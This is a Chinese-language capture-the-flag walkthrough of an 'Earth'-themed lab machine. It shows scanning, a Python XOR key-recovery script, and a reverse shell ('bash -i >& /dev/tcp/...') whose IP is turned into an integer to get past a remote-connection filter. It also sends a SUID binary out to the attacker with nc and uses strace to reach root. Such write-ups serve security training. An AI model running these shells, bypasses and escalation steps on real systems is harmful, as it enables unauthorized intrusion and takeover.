nmap先进行扫描,从而得知他的ip
了解到开启http服务,使用goby扫描出其架构
看看有没有什么特殊目录
什么都没有发现,于是想着他的架构有没有对应的漏洞版本,查了一下,没有。443端口内容也和80一样返回值400,说明确实是存在该页面,但是可能由于请求方式不对被禁止了,例如有的可能通过ip访问不了必须要域名。
网上提到通过nmap可以扫描出他的具体dns信息,震惊一万年,下次记得加参数扫
将dns解析写入到我们的配置文件中c:/windows/system32/drivers/etc/hosts
通过域名访问
输入message和key会以加密形式显示。但是加密方式是自己定义的,不方便破解,上传后门代码也会被转义
然后又没有思路,网上是换了一个目录扫描工具继续扫,也有可能是刚刚没用域名直接使用ip导致访问不了的原因,我们重新用disearch扫一遍
果然扫出来了,进去一看,有个登录界面,用bp抓包看看,没有密码果然不行
根本没有思路点啊。。。无聊到把端口从80切换到443,观察到不一样的界面,换个https的扫描,居然还发现了不一样的东西
看一下这个robots.txt里面写的什么东西
既然就你最后一个最特别,那就看你最后一个,个人猜测*代指后缀,看个txt不过分,还真有
上翻译
”测试安全消息传递系统注意事项:采用异或加密作为算法,应与RSA一样安全。地球已经确认他们收到了我们发送的信息。testdata.txt用于测试加密。terra用作管理门户的用户名。待办事项:我们如何安全地将每月的密钥发送到地球?或者我们应该每周换一次钥匙?需要测试不同的密钥长度以防止暴力破解。钥匙应该有多长?*需要改进消息界面和管理面板的界面,它目前是非常基本的。“
这里出现了testdata.txt还有terra,明说terra是用户名,试着看看txt文本文件里面是什么
翻译结果如下:“根据放射性测年法和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,生命出现在海洋中,并开始影响地球的大气和表面,导致厌氧生物和后来的好氧生物的增殖。一些地质证据表明,生命可能早在41亿年前就出现了。”
唉!我有一计,再次仔细阅读文档,刚刚的文本是用于测试加密,还给了我们用户名,那是不是就是对应刚刚的message和key,很可惜不是
换个思路,异或加密?加密方式确定了,那密钥和内容是?“地球已经确认他们收到了我们发送的信息”这个应该是内容,猜测txt是密钥
看大佬写的脚本
import binascii
c="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
a="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
b=binascii.b2a_hex(a.encode("utf-8"))
print(b)
d=hex(int(c,16)^int(b,16))
print(d)
产生的数据是十六进制,再将其转为文本,发现有重复的字符“earthclimatechangebad4humans”,肯定是关键信息,尝试用其登录
登陆成功,是一个命令执行界面
尝试反弹shell,不行,xshell连接,也不行。明说是禁止远程连接,应该是做了绕过
尝试将ip地址进行整形变换绕过,启动nc监听
import socket
import struct
ip = "10.10.59.12"
int_ip = socket.ntohl(struct.unpack("I",socket.inet_aton(str(ip)))[0])
print(int_ip)
#将ip转换为整型数字
攻击机:
nc -lvnp 6666
靶机:
bash -i >& /dev/tcp/168442636/6666 0>&1
监听到了
查找flag
find / -name "*flag*" 2>/dev/null
想要下脚本自动化提权但是被禁止了
只能使用suid提权,先使用find命令找到拥有suid权限的目录
find / -perm -u=s 2>/dev/null
部分特殊名称文件都是乱码的,还有的权限不够不能添加高权限用户
考虑reset_root,检查是否存在复位触发器…重置失败,所有触发器都不存在。
目的很简单,只有一个,拿到这个root权限,具体看看文件内容是什么,通过nc将文件传给自己调试
攻击机:
nc -lvp 5555 >reset_root
靶机:
nc 10.10.59.12 5555 < /usr/bin/reset_root
使用strace调试文件
发现缺少三个文件夹,添加进去
- /dev/shm/kHgTFI5G
- /dev/shm/Zw7bV9U5
- /tmp/kcM0Wewe
再次调试发现没有报错,且执行过后爆出密码
然后以同样的方式在靶机中操作,创建三个文件,再执行
使用root登录服务器
成功
Comments NOTHING